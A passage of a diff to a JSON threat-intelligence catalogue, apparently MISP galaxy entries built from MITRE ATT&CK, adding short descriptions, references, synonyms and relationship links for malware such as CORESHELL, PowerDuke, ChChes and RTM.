"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + "external_id": "S0137", + "mitre_platforms": [ + "Windows" ], - "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4" + "refs": [ + "https://attack.mitre.org/software/S0137", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + ], + "synonyms": [ + "CORESHELL", + "SOURFACE" + ] }, - "value": "MobileOrder" + "related": [ + { + "dest-uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81", + "value": "CORESHELL - S0137" }, { - "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM).[[Citation: ESET RTM Feb 2017]]", + "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)", "meta": { + "external_id": "S0173", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0148", + "https://attack.mitre.org/software/S0173", + "https://www.youtube.com/watch?v=fevGZs0EQu8" + ], + "synonyms": [ + "FLIPSIDE" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0e18b800-906c-4e44-a143-b11c72b3448b", + "value": "FLIPSIDE - S0173" + }, + { + "description": "[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)", + "meta": { + "external_id": "S0317", + "refs": [ + "https://attack.mitre.org/software/S0317", + "https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks" + ], + "synonyms": [ + "Marcher" + ] + }, + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f9854ba6-989d-43bf-828b-7240b8a65291", + "value": "Marcher - S0317" + }, + { + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "meta": { + "external_id": "S0138", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0138", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + ], + "synonyms": [ + "OLDBAIT", + "Sasfis" + ] + }, + "related": [ + { + "dest-uuid": "6d1e2736-d363-49aa-9054-9c9e4ac0c520", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be", + "value": "OLDBAIT - S0138" + }, + { + "description": "[XLoader](https://attack.mitre.org/software/S0318) is a malicious Android app that was observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. (Citation: TrendMicro-XLoader)", + "meta": { + "external_id": "S0318", + "refs": [ + "https://attack.mitre.org/software/S0318", + "https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/" + ], + "synonyms": [ + "XLoader" + ] + }, + "related": [ + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2740eaf6-2db2-4a40-a63f-f5b166c7059c", + "value": "XLoader - S0318" + }, + { + "description": "[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)", + "meta": { + "external_id": "S0319", + "refs": [ + "https://attack.mitre.org/software/S0319", + "https://thehackernews.com/2016/05/android-kernal-exploit.html" + ], + "synonyms": [ + "Allwinner" + ] + }, + "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "08784a9d-09e9-4dce-a839-9612398214e8", + "value": "Allwinner - S0319" + }, + { + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)", + "meta": { + "external_id": "S0139", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0139", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + ], + "synonyms": [ + "PowerDuke" + ] + }, + "related": [ + { + "dest-uuid": "c79f5876-e3b9-417a-8eaf-8f1b01a0fecd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "value": "PowerDuke - S0139" + }, + { + "description": "[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "meta": { + "external_id": "S0144", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0144", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", + "https://twitter.com/ItsReallyNick/status/850105140589633536" + ], + "synonyms": [ + "ChChes", + "Scorpion", + "HAYMAKER" + ] + }, + "related": [ + { + "dest-uuid": "d71604d2-a17e-4b4e-82be-19cb54f93161", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "6eee9bf9-ffce-4c88-a5ad-9d80f6fc727c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "value": "ChChes - S0144" + }, + { + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)", + "meta": { + "external_id": "S0145", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0145", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + ], + "synonyms": [ + "POWERSOURCE", + "DNSMessenger" + ] + }, + "related": [ + { + "dest-uuid": "ee8ccb36-2596-43a3-a044-b8721dbeb2ab", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b376580e-aba1-4ac9-9c2d-2df429efecf6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351", + "value": "POWERSOURCE - S0145" + }, + { + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)", + "meta": { + "external_id": "S0146", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0146", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + ], + "synonyms": [ + "TEXTMATE", + "DNSMessenger" + ] + }, + "related": [ + { + "dest-uuid": "ee8ccb36-2596-43a3-a044-b8721dbeb2ab", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b376580e-aba1-4ac9-9c2d-2df429efecf6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "value": "TEXTMATE - S0146" + }, + { + "description": "[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)", + "meta": { + "external_id": "S0164", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0164", + "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + ], + "synonyms": [ + "TDTESS" + ] + }, + "related": [ + { + "dest-uuid": "99d83ee8-6870-4af2-a3c8-cf86baff7cb3", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "value": "TDTESS - S0164" + }, + { + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)", + "meta": { + "external_id": "S0147", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0147", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + ], + "synonyms": [ + "Pteranodon" + ] + }, + "related": [ + { + "dest-uuid": "d5138738-846e-4466-830c-cd2bb6ad09cf", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "value": "Pteranodon - S0147" + }, + { + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)", + "meta": { + "external_id": "S0184", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0184", + "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + ], + "synonyms": [ + "POWRUNER" + ] + }, + "related": [ + { + "dest-uuid": "63f6df51-4de3-495a-864f-0a7e30c3b419", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "value": "POWRUNER - S0184" + }, + { + "description": "[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)", + "meta": { + "external_id": "S0148", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0148", "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" ], - "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841" + "synonyms": [ + "RTM" + ] }, "related": [ { @@ -2287,18 +15668,200 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 